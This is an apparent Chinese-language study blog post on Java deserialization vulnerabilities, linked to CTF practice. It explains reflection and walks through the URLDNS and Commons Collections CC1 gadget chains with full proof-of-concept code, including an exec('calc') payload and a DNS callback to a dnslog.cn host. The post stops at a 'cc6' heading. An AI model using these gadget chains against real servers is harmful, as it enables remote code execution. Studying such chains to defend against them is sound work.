URLDNS

java里的implements和c++里的那个继承是一个意思,就是会继承前者里的属性和函数。 这篇文章有详细讲 —-> 文章

这篇文章是讲java序列化与反序列化的 挺详细的 java序列化与反序列化

可以来看一下这个视频来学习java反序列和序列化 视频

上面的那篇文章是和下面的视频配套着讲的,也有对下面的代码的介绍

以下是视频中出现的三个java代码

Person.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;
import java.io.Serializable;
public class Person implements Serializable{
private String name;
private int age;
public Person()
{
//构造函数
}
public Person(String name,int age)
{
this.name=name;
this.age=age;
}
@Override //对Serializable这个接口里的toString函数进行重写
public String toString()
{
return "Person{" +
"name='" + name + '\'' +
",age=" + age +
'}';
}
private void readObject(ObjectInputStream ois) throws IOException,ClassNotFoundException
{
//重新对readObject函数进行重写,然后在里面加一条命令执行的语句,这样的话就会在反序列化的时候就会执行,这样的话就会造成安全问题
ois.defaultReadObject();;
Runtime.getRuntime().exec("calc"); //Runtime.getRuntime().exec 用于调用外部可执行程序或系统命令
}

}

SerializationTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import java.io.*;
import java.net.HttpURLConnection;
import java.net.URL;
import java.util.HashMap;
import java.util.Map;
public class SerializationTest {
public static void serialize(Object obj) throws IOException
{
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static void main(String[] args) throws Exception
{
Person person = new Person("aa",22);
serialize(person);
}
}

UnserializationTest.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import java.io.FileInputStream;
import java.io.IOException;
import java.io.ObjectInputStream;

public class UnserializeTest {
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj =ois.readObject();
return obj;
}
public static void main(String[] args) throws Exception
{
Person person = (Person)unserialize("ser.bin");
//序列化的话会把对象变成字节序列(字符串或者二进制文件)
System.out.println(person);
}
}

这里的话为什么java反序列化会产生安全问题?

只要服务端会反序列化数据的话,客户端传递类的readObject中代码会自动执行,给予攻击者在服务器上运行代码的能力。

可能的形式

1.入口类的readObject直接调用危险方法

(1 这里的话就是对person类里的readObject函数进行重写,然后在里面加上一条命令执行的语句)

2.入口类参数中包含可控类,该类有危险方法,readObject时调用。

3.入口类参数中包含可控类,该类又调用其他又危险方法的类,readObject时调用

比如类型定义为Object,调用equals/hashcode/toString

重点 相同类型 同名函数

(2 3都是类似套娃一样的,一层套一层的类)

4.构造函数/静态代码块等类加载时隐式执行

1.共同条件 继承Serializable

2.入口类条件 source(重写readObject 参数类型广泛 最好jdk自带) —-> Map HashMap HashTable HashMap为什么要重写readObject

3.调用链 gadget chain 相同名称 相同类型

4.执行类 sink (rce ssrf 写文件等等)

这里的话我是根据这两篇文章来看着跟进的 文章1 文章2 文章三

这两篇文章中写的put函数方法,put函数里的东西就有putVal函数,然后这时候就会进行dns请求,然后hashcode值就会被改变,导致最后readObject里的hash(key)不会进行dns请求

这两篇文章里是利用java的反射来修改 hashcode值

反射的文章

反射

反射的作用:让java具有动态性

修改已有对象的属性

动态生成对象

动态调用方法

操作内部类和私有方法

在反序列化漏洞中的应用:

定制需要的对象

通过invoke调用除了同名函数以外的函数

通过Class类创建对象,引入不能序列化的类

反射学习写的代码 视频 反射

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class ReflectionTest {
public static void main(String[] args) throws Exception

{
Person person = new Person();
Class c = person.getClass();
//反射就是操作Class

//从原型class里面实例化对象
//c.newInstance(); --> 这个实例化对象是不能传参的
c.getConstructor();
Constructor personconstructor = c.getConstructor(String.class,int.class);
Person p = (Person) personconstructor.newInstance("abc",22);
//System.out.println(p);
//获取类里面属性
//Field[] personfiled = c.getFields(); //这个函数的话只可以获取公有属性,私有的不行
// Field[] personfiled = c.getDeclaredFields(); //私有和公有都能获取
// for(Field f:personfiled)
// {
// System.out.println(f);
// } 这些都是数组

Field namefield = c.getDeclaredField("age"); //getField 和 getDeclaredFields都不能修改里边的值,因为是私有属性
namefield.setAccessible(true); //这是允许修改私有属性的值
namefield.set(p,23);
System.out.println(p);
//调用类里面的方法
// Method[] personmethod = c.getMethods();
// for(Method m:personmethod)
// {
// System.out.println(m);
// } 查看这个类里

Method actionmethod = c.getDeclaredMethod("action", String.class);//如果把person类里边的action函数换成private,那就etDeclaredMethod,然后通过setAccessible(true);修改权限
actionmethod.setAccessible(true);
actionmethod.invoke(p,"ggaa");

}
}

学习中用到的代码(URLDNS的poc)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37




import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class URLDNS {
public static void main(String[] args) throws Exception {
//0x01.生成payload
//设置一个hashMap
HashMap<URL, String> hashMap = new HashMap<URL, String>();
//设置我们可以接受DNS查询的地址
URL url = new URL("http://3rzcpr.dnslog.cn");
//将URL的hashCode字段设置为允许修改
Field f = Class.forName("java.net.URL").getDeclaredField("hashCode");
f.setAccessible(true);
//**以下的蜜汁操作是为了不在put中触发URLDNS查询,如果不这么写就会触发两次(之后会解释)**
//1. 设置url的hashCode字段为0xdeadbeef(随意的值)
f.set(url, 0xdeadbeef);
//2. 将url放入hashMap中,右边参数随便写
hashMap.put(url, "rmb122");
//修改url的hashCode字段为-1,为了触发DNS查询(之后会解释)
f.set(url, -1);
//0x02.写入文件模拟网络传输
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("out.bin"));
oos.writeObject(hashMap);
//0x03.读取文件,进行反序列化触发payload
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("out.bin"));
ois.readObject();
}
}

需要jdk8 来进行运行

github上反射的详细文章

这里的知识点对应着web846 payload可以去看羽师傅写的博客

cc链

jdk动态代理

文章 这里就不多写了, 因为这篇文章已经写的很清楚了

视频 这里的话是讲的很明白了 这里有很多都是套路写法

cc1

视频讲解 cc1

cc.java

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
package org.example;

//import jdk.internal.org.objectweb.asm.commons.Method;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import sun.instrument.TransformerManager;
import sun.invoke.anon.AnonymousClassLoader;
import java.lang.reflect.Method;
import java.io.*;
import java.lang.Object.*;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class cc implements Serializable{
public static void main(String[] args) throws Exception
{
//简单弹个计算器
//Runtime.getRuntime().exec("calc");
//用反射弹个计算器
// Runtime r = Runtime.getRuntime(); 这个不能进行序列化操作,所以我们得通过反射进行操作
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec",String.class);
// execMethod.invoke(r,"calc");
//利用 InvokerTransformer弹个计算器
//InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
// HashMap map = new HashMap<>();
// map.put("key","value"); //写这里的原因是为了下面的遍历
// //利用Map.Entry的遍历通过setValue调用checkSetValue
// Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// for(Map.Entry entry:transformedMap.entrySet())
// {
//entry.setValue(r);//给r的话,那么checkSetValue里的value值也是r,所以会弹出计算器
// }
//下面是写好的通过反射来调用Runtime.getEuntime()

// Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
// //上面的代码是为了替代下面的1
// Runtime r =(Runtime) new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
// //上面的代码是为了替代下面的2
// new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);
// //上面的代码是为了替代下面的3
// Class c = Runtime.class;

//因为上面的方法的话是对transform进行循环调用的,所以我们可以利用ChainedTransformer进行循环利用,这个函数的构造函数是传一个transform数组进去,然后对其循环调用
Transformer[] Transformer = new Transformer[]
{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class, Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(Transformer);
chainedTransformer.transform(Runtime.class); ///这里的话是只有这个Runtime是由我们控制的,这里的话是只调用一次transform.
//Method getRuntimeMethod = c.getMethod("getRuntime",null);//1
//Runtime r =(Runtime) getRuntimeMethod.invoke(null,null);//2
// Method execMethod = c.getMethod("exec", String[].class);//3
//execMethod.invoke(r,"calc");//3
// Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
// //这因为AnnotationInvocationHandler没有定义为public,所以不能直接获取,得通过反射来进行获取
// Constructor annotationInvocationConstructor = c.getDeclaredConstructor(Class.class,Map.class);
// annotationInvocationConstructor.setAccessible(true);
// Object o = annotationInvocationConstructor.newInstance(Override.class,transformedMap);
// //上面的那个代码时替代上面那个for循环的setValue(); 因为就是AnnotationInvocationHandler的readObject里面调用了setValue
// serialize(o);
// unserialize("ser.bin");




//1.最后 得重新搞 因为runtime不能进行序列化
//2.AnnotationInvocationHandler里的readObject()处那调用的setValue()哪有两个if得进行绕过
}
public static void serialize(Object obj) throws IOException
{
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String Filename) throws IOException,ClassNotFoundException
{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}

上面的代码时学习cc1时调试的代码,这里有一个坑就是得先跟着上面的视频进行调试,不然的话会复现不成功。

这里的话由于自己懒 所以用这篇文章来进行学习 文章

(只是写一些我看的时候的见解)

image-20230308162258990

这里虽然传了valueTransformer的值,但是

image-20230308162354429

这个value没有传,所以跟进文章的下一步操作。

image-20230308163906186

这里传transformedMap的原因是因为Map可控image-20230308163951871

transformedMap在这里的是因为得遍历然后触发setValue();

那两个if绕过的解释

image-20230308170126953

image-20230308170141736

memberValue.getValue(); memberTypes.get(name);在map修改key名为value的时候,那么get(name)就会调用到Target的value从而能绕过判断

1
memberType.isInstance(value)  这个的话绕过应该是因为constructor.newInstance(Target.class,transformedMap);这个实例化对象的时候传进来了Target,并且这个里面刚好有value

poc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
Transformer[] transformers = new Transformer[]{
//避免被readObject修改
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke", new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<Object, Object>();
map.put("value","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor constructor = c.getDeclaredConstructor(Class.class,Map.class);
constructor.setAccessible(true);
//第一个参数继承了注解,我们先用override尝试
Object o = constructor.newInstance(Target.class,transformedMap);
serialize(o);
unserialize("ser.bin");

这个poc链子的顺序就是

InvokerTransformer —> transformers —> transformedMap —> decorate —>checkSetValue —> setValue —> AnnotationInvocationHandler的readObject

这就是整条链子的顺序 里面最重要的方法就是反射

cc6